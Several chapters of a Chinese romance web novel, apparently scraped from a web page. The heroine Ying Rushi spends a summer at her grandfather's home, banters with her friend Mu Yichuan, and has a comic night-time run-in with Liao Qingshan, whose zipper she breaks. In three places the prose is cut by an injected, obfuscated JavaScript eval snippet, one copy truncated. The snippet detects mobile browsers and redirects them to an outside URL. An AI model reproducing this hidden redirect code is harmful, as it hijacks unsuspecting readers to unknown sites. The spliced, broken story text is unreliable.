唯一令人欣慰的是,临河的红枫树依然无恙,夏长秋盛,冬藏春生。 它们恪尽职守,从未缺席过这里的每一场四季。 但终究,这间民宿还是失去了地理优势。 不过好在投入成本早已收回,并未对周家造成太大的经济打击。再加上,后来周家也在滨江买了房,对这家民宿的经营状态也就佛系了。 虽然一年到头,仍然陆陆续续有人过来住,但绝对没有像今天这么大的阵仗—— 三层楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117697|164198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部亮起了灯。 应如是站在拐角,正看着这一幕纳闷呢,就看到周叙手里拿着两个大垃圾袋从家里走了出来。 周叙是周峰的儿子,今年大三。虽然俩人差了几岁,但应如是跟他还挺熟,说来也是挺巧,俩人在枫桥是邻居,在滨江则是上下楼。 苏潺替她送饭,就是从周叙的阳台递下来的。 看到来人,应如是走上前,笑着问道:“叙哥,这什么情况啊?” 周叙把垃圾堆在门口,看到应如是,先是笑了下,才缓缓道:“刚接了个大单子,所有房间全订。” “啊?”应如是疑惑地问,“是枫桥要举办什么大型活动吗?” “没听说啊,”周叙拍了拍手上的灰,“好像是要过来度假。” “那得多大一家子啊?”应如是看着悉数亮起的灯盏,嘟囔了句,“不过,有钱赚就是好事,他们什么时候过来啊?” “说是快了,”周叙目光看着前方,“这不得空赶紧过来收拾收拾嘛,好久没住人了。” “行,那叙哥,你赶快忙吧,”看天色不早,应如是朝他摆摆手,“我先回家了。” 周叙看着她跑远的背影,忽然叫了她一声:“诶!悠悠。” 悠悠。 应如是的小名。 应如是闻声回眸:“嗯?” 周叙垂在两侧的手莫名收紧,“你还打算复读吗?” “不复读啦,”放下了一小段心事,应如是心情轻松得很,“怎么啦?” 周叙抬手耙了下头发,就着月色问道:“那个......那你想......” “想什么?” 月色好像挪了一寸。 周叙摆摆手,扯了一丝笑:“没事,我就是随便问问,快回家吧。” - 推开门闩,几缕戏曲声从屋内传来,应如是脚步轻快地穿过静谧飘香的前院,在玄关处正换着鞋呢,就听到客厅处传来一声:“是悠悠吗?” “外公,是我!”话音刚落,应如是脚边就多了个毛茸茸的大挂件。 这次来了个真边牧。 应如是蹲下,摸了摸它的毛:“姗姗公主,好久不见。” 边牧姗姗目光含怨,似是在说:“你还知道好久不见!” 应如是又安抚性地摸了摸,然后才拥着它往客厅走,祝贺章看到外孙女,果不其然先是一顿唠叨:“你这丫头,回来这么晚也不说一声,我好去接你啊。” 应如是快步跑到沙发上坐下,揣着外公的胳膊,满眼堆着笑:“我都多大了,不用接,外婆呢?” “跟合唱队出去演出了,没在家,明天才回来。” “那您怎么不跟我外婆一起去?” 祝贺章不服气地哼了一声:“人家不乐意带我。” 应如是哦了一声,随即转了个话题:“外公,咱家的米箱在哪儿放啊?” “饿了?我给你做夜宵吃。” “不饿,我有别的用,您告诉我在哪儿就好了呀。” “厨房下面第二个柜子里。” “得嘞!”说完,应如是就一溜烟地跑了。 打开厨房门,应如是打开第二个柜子看了一眼,找到目标物后,她又踮脚,从上方的橱柜里拿了个密封袋出来,把手机放到里面之后,才把它放到了米箱里。 弄完之后,她心满意足地拍拍手,跟外公道了声晚安,上到二楼准备洗个澡就睡觉。 脱衣服之前,应如是低头,从哆啦A梦的口袋里,拿出那副做工精致的竹筷,在手中掂量了下。 转头,看了眼日历,今天正好七月七。 九月份,朝大就要开学。 也就是说,不到两个月的时间。 不到两个月的时间,她就可以,把这双筷子物归原主。 这样想着,应如是抬头,望了眼头顶的那一角天窗。 天窗框起的那片夜幕上,此刻正映着繁星点点。 看着看着,她倏地笑了。 人要是有了期待,这日子呀,就像小星星一样。 ——真是温柔又闪亮。 5. 看她弄巧 哎呀! 你听我狡辩! ——《叮咚!您点的乌龙面已送达!》 奔波了一天,确实是累得不行,应如是冲了个澡,脑袋一挨枕头,便沉沉睡了过去。 这晚,就着繁星,一夜好梦。 第二天醒来的时候已经快中午了,应如是睁开眼,脸都顾不上洗,就匆匆跑下楼去看自己的手机。 当时祝贺章正在厨房里做午饭,砂锅里正小火慢炖着她最爱吃的番茄牛腩。 看着应如是一溜烟地跑进来,他还以为他家的小吃货饿得等不及了,劝阻的话都到了嘴边:“还没好,等会儿......” 话音未落,祝贺章就噤了声。今天,这枚美食小雷达跟失灵了一样,目光径直略过肉香四溢的砂锅,弯腰就去开柜门。 应如是蹲下来往里看着,瞅了会儿没看着,以为是光线太暗看不清楚,于是撅着屁股把身子往柜子里钻了钻,在里面鼓捣了一会儿,才开口问道:“外公,我放在米箱里的手机呢?” 声音隔着模板传来,有点闷闷的。 “早就给你拿出来了,”祝贺章在她背上轻拍了下,话里带着愠气,“你都不知道,刚才吓了我一跳,黑乎乎的还以为是老鼠呢。” 闻言,应如是瞬间从橱柜里钻了出来,直起身子,“您早说啊,害得我这一通找。” 祝贺章从冰箱上拿出手机给她,“把手机放米箱里,这是新的潮流?” “嗯呐!”应如是接过递来的手机,然后,指腹触上了电源键。 说不上为什么,那一瞬间,她心底,竟然莫名涌上一股名为紧张的情绪。 似乎是想要印证的答案,终于到了揭晓结果的这一刻。 虽然这次考试的人并不是她,但她—— 还挺想让那个人赢。 总之就是说不清、道不明、从未有过、却相当斩钉截铁的一种心绪。 几秒钟后,手机成功开机,所有程序运行正常。 这证明着,这场考试,他大获全胜。 应如是看着这个“起死回生”的手机,如获至宝。 心情一好,胃口也随之大开,饭桌上,应如是就着那锅炖的绵软入味的番茄牛腩,连吃了两大碗饭。 祝贺章看着她这阵仗,跟八百年没吃过饭似的,没忍住说:“不就是上个学吗,多大点事儿。再说,冷战就冷战,总不能不给饭吃吧,你一个还没成年的小丫头,你妈就舍得这么饿着你?” 闻言,应如是立刻顺杆往上爬,狠狠地点了好几下头:“对,我妈就是这么对我的,外公,您可得为我主持公道啊!” 祝贺章沉沉叹了一口气,筷子一撂,饭也不吃了。 他清了清嗓子,把矛头对准了自己的姑爷,严肃地问:“你爸呢?你爸干什么吃的,也不替你说说话。” 应如是把番茄牛腩的汤汁浇在米饭上,一边嚼着饭一边含糊道:“说了。” 祝贺章:“嗯?” “我爸说——”应如是绘声绘色地学着应书郡的语气,振振有词道,“谁敢欺负我闺女,我就去欺负她闺女。” 祝贺章:“......” 吃完饭后,祝贺章出去下棋,应如是一个人待在家里,她打开电视,顺手换到了湖南台。如她所料,上面正放着暑期必播剧《还珠格格》。 这剧就跟有什么魔法一样,明明剧情都烂熟于心了,可是每次看到,还是会忍不住往下看看。 应如是躺在沙发上,目光随意地朝电视扫了一眼,上面正演到小燕子和紫薇一行人逃出皇宫,皇阿玛布下天罗地网,想把他们找回来的剧情。 应如是侧了侧头,看到屏幕里的人,正拿着画师为小燕子画的人像,走街串巷地打听着:“你们见过这个人没有?” 结果,得到的回复不是摇头,就是没见过。 此起彼伏的叹气声传入耳畔,应如是却像是突然被灵感击中一样,腾的一声从沙发上蹦了起来。 她看着电视屏幕,眼睛骨碌碌一转,心生一计。 - 手机响的时候,穆亦川正在看球赛,听到消息提示音,他拿过手机,漫不经心地看了一眼。 应如是的头像上显示着一个红色数字2。 他点开一看,上面是一个嘚瑟的表情包,下面跟着一条信息:【我手机修好了。】 穆亦川拿着手机,不以为然地回了句:【哦,那替我缅怀一下死耗子。】 应如是:【......你才瞎!】 穆亦川懒得理她,把手机扔在一边,继续看球赛。 还没消停一会儿,手机又响了声。 他耐着性子再次点开,只见应如是这次给他发来了一张图片,下面跟着一条信息:【你在学校见过这个人吗?】 穆亦川:【我瞎,看不见。】 应如是:【......】 应如是:【您就大人不计美女过了呗,这个人对我来说真的很重要,用您那一眼就能找出bug的火眼金睛帮我看看呗!】 应如是:【讨好.jpg】 穆亦川这才点开应如是传来的那张图。 图上画的是个动漫人物,穿着白色衬衫,有一双清秀却冷峻的眉眼,修长手指握着一个手机。 穆亦川把这个图又放大瞧了瞧,脑海里连冒出N个问号。 穆亦川:【你特么确定我俩是一个次元的?】 看到消息的应如是:“……” 看来此方法是行不通了。 想到这儿,她整个人倒挂在沙发上,像泄了气的气球一样,双眼无神地望着天花板发呆。 当初为什么不学写真! 我恨! - 电视就这么开了一个下午,小燕子带着无懈可击的女主光环,每次都能化险为夷,逃脱追捕。在逃跑的过程中,还捎带着手把爱情、友情、亲情都升了温。 牛逼。 应如是在心里感叹了一句。 她一边玩着手机,一边左耳朵进右耳朵出地听着那早已烂熟于心的台词,渐渐地眼皮一沉,在沙发上打了个盹儿。直到六点半,湖南新闻联播的片头曲响起,应如是才猛地从睡梦中惊醒。 手机恰好响了声,她双眼惺忪地拿高一看,是外公祝贺章发来的一条短信:我跟你外婆去参加合唱团的聚餐了,晚饭你就自己解决吧。 应如是:? 几个小时前还大义凛然地对她说不能饿着未成年少女的那个人是谁? 她叹了口气,无奈地揉了揉眼睛,关上电视出去觅食。 六点过半的天空,还是亮堂堂一片,应如是出了家门,往同乐街的方向走。没走两步,感觉鼻尖落了零星一点凉意,她抬头一看,这才发现下起了毛毛细雨。 雨势不大,远远不到打伞的程度,却恰到好处地驱散了仲夏的烦闷与燥热,舒适惬意。 她漫无目的地往前走,走着走着,就走到了同乐街尽头。她停下脚步,站在穆亦川家门口给他发了个定位。 发完后她也不着急,双手插兜,倚着门框漫无目的地看着眼前的景色。 此时正值下班时间,临街柏油路上的车辆川流不息,烧饼铺、披萨店、烧烤摊也相继支了起来,正热闹地忙活着。 你追我赶间,人间烟火气,就这么泛了上来。 约摸着过了五分多钟,应如是才听到一道熟悉的声音从头顶上方传了下来:“你吼一嗓子,不比你发微信顶事多了。” 应如是闻声抬头,看到穆亦川站在二楼阳台,垂眸看着她。他看起来刚冲过澡,一手撑在栏杆上,一手正拿着毛巾擦头发。 应如是撇了撇嘴:“我还没吃晚饭,吼不出来。” 穆亦川:“......” 看到穆亦川还在擦头发,应如是懒得等,便说:“我先过去了啊,你赶紧拾掇拾掇下来吧,没女朋友的人,臭美给谁看。” 穆亦川瞪了她一眼,拿起毛巾朝她空扔了一下。 应如是扮了个鬼脸,跑了。 - 四季烧烤摊就在穆亦川家的隔壁,紧邻着马路。烧烤摊的高峰期往往都在晚上八.九点过后。那时候天色完全暗下来,黑色像是一层保护膜,你可以不顾及任何,肆意地约三两好友,撸撸串,喝喝酒,笑笑骂骂白天里的如意或不堪。 这时候还不到七点,因此人并不是很多,穆亦川下来的时候,烤鱼正好端上来。 香菜、葱花、青红辣椒堆叠在最上头,被热油一浇,滋啦啦地响,椒香四溢着,与雨后的青草香混杂在一起,催生出奇妙的化学反应。 穆亦川不怎么饿,动了几下筷子就放下了。他从冰箱里拿了两罐冰啤,打开喝了一口,看应如是低头吃得正欢的样子,笑了下:“喂,小屁孩儿。” 应如是不想搭理他。 他继续问:“你们那一届有个叫傅北南的?” 听到这个名字,应如是猛地咬了一下筷子,含糊道:“你怎么知道?” “下午去打球,那小子看到我又是买水又是捶腿的,一直巴结我。”说着,穆亦川倏地轻笑了下,“他不说我还不知道呢,我去外面上大学这一年,你这姑娘招的桃花倒是不少。” “......”应如是瞪他一眼,“你别瞎说,我可没招他,我把心思都放在了学习上。” 穆亦川把玩着易拉罐上的铁环,漫不经心道:“那正好,我替你把他的心思断了。” 闻言,应如是立即撂下筷子,双手抱拳,郑重其事地施了个礼:“谢了,老弟。” 穆亦川挑眉:“不问问我怎么断的?” “随便,”应如是对这个过程漠不关心,“断了就行。” “我说你喜欢女的。” “......” 暴风雨前的宁静总是很短暂。 下一秒,应如是便起身锁住了他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117698|164198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喉:“穆亦川!你大爷的!” 穆亦川胳膊一施力,轻而易举地把她撂倒在椅子上,怒目道:“你给我规矩点儿。” 应如是不甘心地收回手,回瞪着他:“这次我就大人不记小人过原谅你一次,到朝大你再敢胡说试试!” 穆亦川轻嗤一声:“你少在这儿威胁我。” “我认真的,”应如是双眸浸在灯光下,似有薄光流转,“我准备开学后追他,你可别坏了我的好事儿。” 穆亦川:“追谁?” 应如是:“追你妹。” 穆亦川:“......” - 吃烧烤的功夫,枫桥突如其来地下了场雨。不过,这夏季的雨,向来是来得快去得也快,他们吃完的时候,雨正好停了。 吃饱喝足后,应如是慢悠悠地踏上了回家的路。此时八点过半,天色已经完全暗了下来,临河的路灯掩在片片红枫后,像两条逐渐并拢的线,勾勒描画出朦胧的边。 她就是在这个时候接到了苏潺的电话。 刚按下接听键,应如是还没来得及说话,就听到苏潺惊喜又雀跃的声音从电话那头传了过来:“悠宝!我告白成功了!” 应如是由衷地替她开心:“厉害了!我的哥!” “回去请你跟边穆吃饭哈!” “得嘞!” 然后,苏潺又在电话里跟她讲了一些旅途中的趣事,应如是听了听,突然问道:“潺潺,有个问题我一直想问你。” “嗯?” “你到底是因为什么喜欢上他的啊?” 这问题一出,手机那端先是默了一瞬,然后传来了几声笑:“悠宝,你要问到这个,那我可就不困了,其实,我对他——” “嗯?” “是见色起意。” 应如是:“……” 不愧是你! 两个人左一句右一句地聊着,不知不觉间,应如是已经走到了同乐街尽头,拐个弯就能到家了。 “悠宝,等下次有机会我们也过来玩,这里能见度真的好高,感觉星星和月亮,都触手可及一样。” 听着电话里苏潺的描述,应如是下意识抬眼,也想看看天上的星星和月亮,结果,视线还没移动到天上,就有一道意外的风景,猛地摄住了她的视线。 应如是下意识停下脚步,定睛望去—— 桥边,立着一道人影。 眼前画面静得像是电影海报,那个人孑然而立,好似要与夜色融为一体,身上那股子清冷疏离感,很陌生,却又带了那么一点儿熟悉。 “喂?悠悠?”一直没听到回话,苏潺在电话那头叫了声。 应如是目光聚集在那个人身上,察觉到一些不对劲,匆匆回了句:“我这边有点事,就先挂了啊。” 挂完电话,她又抬头看了眼周叙家的民宿。 果不其然,其中一盏亮着灯。 应如是越想越不对劲,抬脚朝他走近了些,于迷蒙雾气中打量着那个人的轮廓,然后试探着叫了声:“欸!” 无人应答。 不仅无人应答,那个人还又朝木桥走了几步。 虽然夜色深沉,但应如是还是一眼看出了,他拖着的步履有些沉重。 “喂!桥边那个人!”她又喊一声。 可是,那个人对她的再次呼喊依旧置若罔闻,自顾自地往前走着,甚至还弯下了腰,一副想要往下跳的态势。 应如是脚步瞬间快了起来,大吼道:“危险!” 她跑得急,全然忘了刚下过雨,临近木桥的那一条路,早已变成一滩软泥。就在快要抵达那座桥的时候,她倏地脚下一滑,本能地惊叫出声。 “啊!” 此时,因下雨才积聚了些许水的护城河成了险象丛生的深沟,她不受控地,眼看着就要跌落。 风驰电掣间,一只手横空出世,有力地揽住了她的腰。 感觉到有人抱住了就快要跌倒的自己,应如是的自保意识瞬间启动,她双手抬高,迅速在那个人身上摸到了一个能让她保持平衡的受力点,然后,她便死死地拽住了那个受力点,防止自己再次摔倒。 终于,两个人在力的相互作用下,身体的平衡渐渐回正。 就是,在回正的过程中,应如是拽着那个受力点,拽着拽着,越来越感觉到不对劲。 咦? 这受力点怎么还会移动? 她思考的功夫,那个人运动外套的拉链,已经被她的手,由上至下地拉开。 此时正值夏季,他只穿了一件单薄的运动外套,于是,整个胸膛完完整整地曝光在月色之下。 应如是撅着屁股站定,没想到映入眼帘的竟然是一块男人的腹肌。 肤色冷白,肌肉匀称,线条流畅。 堪称极品。 她下意识一愣,眨了眨眼。 然后,一抬眸,撞进一双意料之外的目光。 6. 看她弄巧 帅哥门前过,不拐回家是罪过! ——《叮咚!您点的乌龙面已送达!》 看清楚眼前人的眉眼之后,应如是的内心,就跟B站一样,一条条的弹幕地往外蹦着: 卧槽? 乌冬面? 他怎么在这里? 来找我要筷子的? 就一双筷子,不至于吧…… 脑海里飘弹幕的功夫,她还一心二用地,顺带着想象了下自己现在的造型。 毕竟,在帅哥面前,还是要注意自己的形象。 凭感觉,应如是觉得现在的自己,应该跟抓Jerry的Tom有着异曲同工之妙,身子微躬,瞪着两个大眼睛,还撅着腚。 不过,万幸的是,虽然造型滑稽,但两个人都没有摔倒。 也因此,应如是觉得自己这次的营救活动相当成功。 双脚稳稳地站定在了地上。 安全! 左手牢牢地扶着他的右胳膊。 安全! 右手牢牢拽着他的衣服拉链。 安全! 咦? 等一下? 等一下等一下? 怎么感觉哪里不太对? 右手是牢牢拽着他的衣服拉链,但问题是……? 察觉到触感不太对劲,为了求证,应如是目光下移,看到自己拽着他衣服拉链的左手,因为刚才用力过猛,被迫下移,下移到了他那条灰色的运动裤。 紧挨着他的…… 我去! 看到这儿,应如是终于察觉到自己像个流氓了,立马松开手,笔挺挺地直起了腰,背过身,音调扬高,语气带着微愠:“你赶紧把衣服穿好!” 廖清杉:“?” 被占便宜的是我,你这一副吃亏的怒气是从何而来? 不过,他现在没工夫跟她掰扯这件事,看她终于转过了身,廖清杉眼疾手快,立刻拽着自己的拉链,往上拉。 他上身就穿了件最简单的黑色运动外套,不过因为印了个logo,所以价格比市面上的同款外套贵了不知道多少倍。 问题是你品牌溢价就品牌溢价,但是你质量能不能好一点! 廖清杉低头,看着自己坏掉的拉链,手中虽无寸铁,但心中却有一万只南美洲草场动物在狂奔。 哦,不对。 或许可能更多。 当下,摆在他面前的,是一个异常艰难的两难选择题—— 一是就当做拉链没坏,像个男人一样,刚才什么姿势来的,现在就什么姿势走。 二是小心翼翼地把敞开的衣襟叠在一块,像个姑娘一样,双手交叉在胸前,掖着衣服离开。 前者大大方方,却衣不蔽体。 后者衣衫整齐,却小家碧玉。 小家碧玉。 想到这个词,廖清杉没忍住,在心底冷笑了声。 他怎么都没料到,这个词会跟自己产生联系。 总之,要么牺牲色相,要么牺牲男子气概。 此情此景,饶是廖清杉脾气再好,也忍不住嘟囔了句:“服了。” 低沉的一声,带着无可奈何的怒气。 他没说错。 他是真的服了。 连着两天,在两座相隔几百公里的城市,竟然能和同一个人,以意料之外的方式撞上两次。 问题是,每一次都能被她占点儿便宜。 这上一次吃他的面,他也就不说什么了。 问题是,这次…… 廖清杉别的不敢说。 但他可以肯定的是,要是他俩性别对调,他现在应该已经被人抓起来了。 莹白月光倾洒而下,面对着这道两难的选择题,廖清杉暂时也选不出个最优解。 只好回头,寻找着自己因救人心切一把撂飞的相机。 还好,这次,他没费什么劲儿就找到了。 他刚才撂飞的相机,此刻就在他身后的那滩软泥里,安安静静地躺着。 刚才他速度太快,镜头都没来得及收,八成是得进水。 看到这儿,他又有点悲极生乐地想笑。 心想,这姑娘,是来一报还一报的吧。 上次她手机进水,这次他相机进水。 结果,弯腰,拿起相机一看。 哦,还是不一样的。 他的相机,不仅进了水,还进了泥。 廖清杉:服了。 现在的年轻人总说水逆,他也听朋友说过几嘴,但他从来不信这玩意儿。 但现在,他觉得自己时候回去查查了。 拿起相机,看眼前的“小丸子头”安然无事,廖清杉也懒得跟她废话,一手拿着相机,一手掖着衣服,也顾不上形象了,大步就往外走。 只想赶紧逃离这个是非之地。 看着他离开的应如是:“???” 不是,现在这是个什么情况? 这位大哥,你对你的救命美人,不说别的,至少应该道声谢吧。 于是,音调一扬,脱口而出一句:“喂!” 眼前人跟没听到一扬,脚步停都不带停的。 “乌冬面!” 此话一出,廖清杉竟然鬼使神差地停住了脚步。 也是在这个时候,他真的觉得,这姑娘有毒。 看他停住脚步,应如是一脸无辜地问:“你怎么这就走了啊?” 廖清杉头都没回:“我不走,留着让你继续看?” 应如是声一低,语气带着可怜意:“那你走了,我怎么办啊?” 听她这么问,其实廖清杉很想说一句“你爱怎么办怎么办”,但黑灯瞎火的,小姑娘一个人,他还是没忍心:“你等我消失在你的视线里,你再走。” 应如是脑瓜子一转,灵感说来就来:“可是我脚崴了。” 看他无动于衷,又添一句:“为救你才崴的……” 看他还无动于衷,又添一句:“疼得不行了都……” 与此同时,楚楚可怜的程度,也随句子显著递增。 “那你给你家长或朋友打个电话,让他们来接你。” “我手机坏了,进水了,你不是知道吗?” 廖清杉“.......” 下一秒,把衣服一紧,无奈折返,走到她身边,把手机解锁之后递给她:“用我的手机打。” 应如是眨巴着一双大眼睛,惹人怜得很:“可我不记得他们的手机号。” 廖清杉:“……” 这姑娘是个坑,惊天巨坑! 这会儿,他已经没多少耐心了,直接问她:“那你说怎么办?” 应如是倒也不扭捏,大大方方道:“你背我吧。” 廖清杉:“……” 过往人生里,他不止一次遇到过梦想被掣肘、现实逼着他妥协的境况,但不管再艰再难,他心里从来都没出现过认命两个字。 但现在,他感觉心里有个声音在对自己说:认命吧,廖清杉。 把手中的相机递给她,然后,认命般地在她面前蹲下,沉声道:“上来。” “好哒!”小姑娘声音灵动得很,双手攀上他肩膀的时候,还不忘人性化地提醒了一句,“你放心,我很轻很轻的。” 这话倒是没撒谎,廖清杉没怎么费力,就轻而易举地背起了她。 就是,背上之后,瞬间又感觉哪里不对了。 他眸光微垂,看到一双纤纤细手,在他身前摸来摸去。 廖清杉:“?” 不是吧,姑娘,你吃豆腐吃个没完了是吧? 虽说你是个女生,但现在法制社会男女平等,你这种行为,我现在就把你送进去你信不信。 结果,还没等他开口质问,就听到背上的人先声制人:“你衣服开了,我替你把它紧一下。” “……” “你不用不好意思,这是我弄坏的,我理所应当善后。” “……” “我外婆手工活很好,等她回来,一定替你把它修好。” “……”不用了,姑娘,咱俩还是一别两宽吧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117699|164198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >廖清杉正无语着,一通电话突然响了起来,打破了他的单方面沉默。 这铃声,一听就不是他的手机。 那还能是谁的呢? 当然是那个刚才说自己手机坏了的人啊...... 听到熟悉的铃声,应如是从口袋里拿出手机。看了眼是外公的电话,她赶忙按下接通键,那边很快传来一声:“悠悠。” “外公。” “今天我们聚餐可能结束得会有点晚,估计得十一点左右才能回去,你要是睡的话,记得把门锁好。” “知道了,外公。” 不同于有些长辈的唠叨,交代完自己要说的事,祝贺章便利落地挂了电话。 气氛陷入安静,这次,换廖清杉主动开口:“还挺有钱。” “嗯?” “同款手机,说换就换。” 谎言被戳穿,应如是丝毫都不心虚,“好吧,我是骗了你,但那是因为我不好意思麻烦别人嘛。” “不是,姑娘,咱俩也就见过一面……” “两面了。”应如是打断他,还伸手在他面前比了个“耶”。 “......行,两面,你这都敢让我背你,黑灯瞎火的,你也不怕我把你卖了。” “你卖不了,在这儿,要卖也是我卖你。” “……”还挺自信。 “家在哪儿?” “就对面蓝色大门那一家。” 廖清杉抬眸看了眼,就是他住那家民宿的隔壁。 啧。 真是冤家路窄。 廖清杉看着,脑海中飘过不知道今晚的第几个“服了”。 察觉到背上人清浅的呼吸,估计是又要说话,廖清杉立马先声制人:“拜托你别说话了,让我耳朵安静一会儿行吗。” “......好吧。”答应下来之后,应如是果真没有再说话。 枫桥是座北方小城,四季分明,夏日犹长。刚才下的那场雨,又恰如其分地驱散了空气里的燥热,将温度衬得格外舒适凉爽。 此时,夏日晚风轻轻拂过,带来的几缕花香,纷纷浸染在两个人的身上。 应如是枕着他的背,因为刚才答应了他不说话,她闲来无事,便侧眸去看他。 今天的他一身休闲装扮,不同于昨日的西装革履,褪去了那时候的冷淡疏离。 柔和的侧脸线条被路灯和月光清浅一打,更衬得他五官清晰立体,格外清隽帅气。 应如是看着,忍不住感慨: 呀! 他可真好看呀! 夸完别人,还不忘夸自己一句: 我画的那幅画也真好看! 恰逢此时,一阵晚风又拂过,应如是轻轻一嗅,在闻到花香的同时,还闻到了一股干净清冽的香气,格外沁人心脾。 闻着闻着,应如是享受般地闭了闭眼。 呀! 好心动呀! - 只不过,美好的时光总是稍纵即逝,很快便走到了家门口。 “能自己走进去吗?”廖清杉问。 “不能,估计你得背我进去。” “你打电话叫朋友过来吧,你要是怕黑,我可以等你朋友过来再走。” “不是就这几步路,你舍得我叫朋友吗?要是你,你好意思麻烦别人吗?” “不是,姑娘,你家没人,我现在跟你进去算怎么回事啊?” “我家有监控,你放心。” “……” 算了,送佛送到西。 于是,廖清杉又把她送进了家门。 玄关处门一开,客厅处就立马传来了动静,应如是知道谁来了,惯性先打招呼:“姗姗。” 好久没听到有人这么亲切地换他小名,廖清杉脚步一顿,下意识反问:“嗯?” 结果,话音刚落,他就看到,从客厅里,出来了一条狗。 廖清杉:“………………………” 应如是:“你嗯什么?” 廖清杉:“......我嗓子痒。” 7. 看她弄巧 悠悠宝贝钓鱼,管你愿不愿意。 通通给我上钩! ——《叮咚!您点的乌龙面已送达!》 听到他说嗓子痒,身为东道主的应如是,立马开启了待客之道:“那你快放我下来,我去给你拿杯水。” 终于得到特赦令,廖清杉身子一低,迅速把她放在了沙发上,然后,便眼睁睁地看着她,动作利落又迅速地跑进了厨房。 廖清杉:“?” 不是吧? 脚没崴? 但现在,他根本没精力去追究她脚伤是真是假,看她终于消失在了自己的视线,廖清杉紧了紧衣服,便头也不回地往外走了。 走出客厅,再经过一个玄关,就可以马上逃离这个是非之地。 结果,好嘛,刚走到玄关,面前就有一个毛茸茸的大型动物,挡住了他的去路。 低头一看。 哦,是他的同名犬。 见状,廖清杉脚步微挪,想要从它身侧绕过去。 结果,他往左,它往右;他往右,它往左。 廖清杉:“......” 服了。 两个人面面相觑的功夫,应如是已经拿着水从厨房里跑了出来,看到这幕画面,扬声叫了句:“姗姗公主!” “......” 廖清杉听得额头上青筋都快爆起了。 姗姗不行,还姗姗公主? 然后,廖清杉就看着她手里拿着瓶苏打水,跑到玄关蹲下,奖励性地摸了摸狗狗的头,笑着说:“我们姗姗公主真棒,知道我还没完成待客之道,不能放客人走,对不对?” 边牧姗姗伸着舌头,鼻尖溢出一个“嗯”。 廖清杉:“?” 这狗是要成精了吧? “这是边牧,边牧智商可是很高的,”边说着,应如是边从地上站了起来,把手中的水递过去,“它知道你没喝水,所以不会放你走的,你不是说嗓子痒嘛,快接着。” 廖清杉没接:“不用,我还有事情要忙,先走了。” 看他不接招,应如是索性打开天窗说亮话:“你是住在旁边的那个民宿吗?” 廖清杉:“?” 你对我搞案件侦查呢,连这都知道? 看他像看变态一样看向自己的目光,应如是收敛了下,提出折中之策:“水可以不喝,但你衣服的拉链,我得给你修一下。” 廖清杉依然是那句话:“不用。” “你给我修好了手机,我给你修一下拉链,这叫礼尚往来。” “不用。” “你确定?” “确定。” “那我先跟你声明啊,我们这条街不止住了我们一家,你这样衣衫不整的出去,要是没碰见人还好说,你万一碰见了,你就是一万张嘴都说不清。” “......” - 廖清杉重新坐回到沙发上的时候,觉得自己陷入了一个惊天巨坑。 应如是从茶几的抽屉里拿出一块蜡,才坐回到沙发上,然后,转头看着他,直接道:“脱了。” 廖清杉:“?” 应如是:“你不脱,我怎么给你修?” 廖清杉:“......” 这哪是惊天巨坑啊! 这分明是惊天巨巨巨巨巨巨坑! 但他是真的做不到,在一陌生姑娘面前脱衣服。 于是,不容置喙道:“不脱,你爱修不修!” 应如是一听,瞬间来劲了。 哎哟! 没想到嘛! 还挺恃宠而骄! 行! 那姐就宠着! 其实,刚才被他背着的时候,应如是早就趁机观察了一下他的拉链。 应该是刚才她用力过猛拉过头了,之所以难恢复原状,是因为摩擦力比较大。这时候,只要按照小时候最古老的方法,往拉链底端涂点蜡,减少些摩擦力就行。 廖清杉身子微侧,一手护着衣领,一手护着下摆,把自己的身体,包裹得严严实实,一副生怕被人侵犯的样子。 只留下了拉链底端的一点点,递给了她。 应如是看他小心翼翼的样子,觉得有些好笑:“你不会是不好意思吧?不是,我都没不好意思,你一个大男人,不好意思个什么劲儿?” 廖清杉:“......” 衣不蔽体的人又不是你,你犯得着不好意思吗? 说了两句,应如是也不扯闲篇了,低下头,一边给他涂蜡一边说:“哦,对了,你应该看出来了,我脚没崴,刚才都是装的。” 廖清杉:还挺诚实。 “你知道我为什么要装吗?” 廖清杉:关我屁事。 “因为我,对你很感兴趣。” 廖清杉:真关我事? “直白点说,我对你,一见钟情了。” 廖清杉:??? “不是,姑娘,”这下,廖清杉再也做不到无动于衷了,“虽然咱俩是陌生人,以后应该也不会再见了,但我还是想善意地提醒你一句,以貌取人不靠谱,随意邀请男的进你家更不靠谱,你赶紧把你这些想法板正回来,要不将来有的是亏让你吃。” 他长篇大论的功夫,应如是已经把蜡涂好。 廖清杉试着一拉,便一路顺畅地拉到了顶端。 哟! 没看出来啊,这姑娘,还挺有两下子。 